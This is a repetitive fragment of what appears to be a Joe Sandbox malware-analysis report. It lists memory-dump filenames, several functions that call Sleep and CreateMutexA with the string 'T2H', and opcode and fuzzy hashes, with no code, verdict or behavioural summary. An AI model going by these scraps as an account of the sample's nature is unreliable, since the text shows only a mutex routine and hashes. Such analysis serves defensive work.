Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: e121186a1d4cb3954bb59846bf35bb2e693414be9cbfd2be010b8cece85cfed7
Instruction ID: 48040b75bdfe7b8938a6cf5d3b31dfe802e233ec73481eca27f273ec4b12fbd4
Opcode Fuzzy Hash: e121186a1d4cb3954bb59846bf35bb2e693414be9cbfd2be010b8cece85cfed7
Instruction Fuzzy Hash: 46312771B002109BEB08DF7CED8976DB7629B86314F608A1AE814973D1C77E59A4871B

Function 0042A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: e78c0bff4ba98d901c441cfd76d691c614a187248fae8d702c0b9096a37b87c5
Instruction ID: 031721e8f8b6407532a64ef59e722712983c99e850e10f3cb93131f31f4f3c91
Opcode Fuzzy Hash: e78c0bff4ba98d901c441cfd76d691c614a187248fae8d702c0b9096a37b87c5
Instruction Fuzzy Hash: E5315931B002008BFB08DF6CED8976DB762AB86314F60465AE814D73D1C77E59A0831B

Function 0042A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: aaf6a3171e30704d6e14677ea2e89d3a51ad48c03e542674244ea2450c23131a
Instruction ID: 2d3a1589d94ee78d454459498a0dab0175b95c467d23444d5190525fbf2acbdf
Opcode Fuzzy Hash: aaf6a3171e30704d6e14677ea2e89d3a51ad48c03e542674244ea2450c23131a
Instruction Fuzzy Hash: 21315C31B001009BEB08AF7CED8976DB761EB86318F60461EE814D73D6DBBD9994871B

Function 0042A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: c0275cbe8ae11861a988e9caae465355b8b6277adcb4a27a56b70145fd53d59a
Instruction ID: b4ef3f38604a8901be99e8942ce19cc77bccdf9970b49d8cc35705d7ced33557
Opcode Fuzzy Hash: c0275cbe8ae11861a988e9caae465355b8b6277adcb4a27a56b70145fd53d59a
Instruction Fuzzy Hash: 86314731B001009BEB08DF7CED8976DB761AB86318F648A1AE814D73D2CB7D8995871A

Function 0042A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: 3eb01119f16a1a56d96934d83c7f8973608d865f8e14cace6f16f6fa987bcb7c
Instruction ID: b941a80ae17d5c22b7045bbbb7b275e1468e7af0c8ade2ef69bc3c0df5c41083
Opcode Fuzzy Hash: 3eb01119f16a1a56d96934d83c7f8973608d865f8e14cace6f16f6fa987bcb7c
Instruction Fuzzy Hash: 1A312571B002008BEB08DF7CED8976DB762ABC6314F648A1AE814D73D2C77D9990875E

Function 00429ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0042A963
CreateMutexA.KERNEL32(00000000,00000000,00483254), ref: 0042A981

Strings

T2H, xrefs: 0042A970

Memory Dump Source

Source File: 00000000.00000002.2146023393.0000000000421000.00000040.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2146004289.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146023393.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146093457.0000000000489000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146111748.000000000048B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146131348.0000000000497000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146251581.00000000005F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146277307.00000000005F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146356893.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146383192.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146401422.000000000061D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146420111.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146453940.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146476016.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146495965.000000000062C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146515428.000000000062E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146543309.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146642743.000000000067B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146664174.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146685366.000000000067E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146706498.0000000000685000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146727041.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146753519.000000000068A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146779542.0000000000691000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146799782.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146820744.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146841653.0000000000698000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146862765.00000000006A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146882648.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146904411.00000000006A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146926193.00000000006AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146948841.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2146969977.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147040733.0000000000722000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147065589.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147087695.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147107075.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147125842.0000000000729000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147154120.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147173442.000000000073A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2H
API String ID: 1464230837-25412269
Opcode ID: 4381cc7fddd57e27cfd3be5533534fac0738683604ffe2533926417e54c891ec
Instruction ID: a49d4e85c639ed41b67b7e792203a22742168fb1824cb327291f19d64365dd59
Opcode Fuzzy Hash: 4381cc7fddd57e27cfd3be5533534fac0738683604ffe2533926417e54c891ec
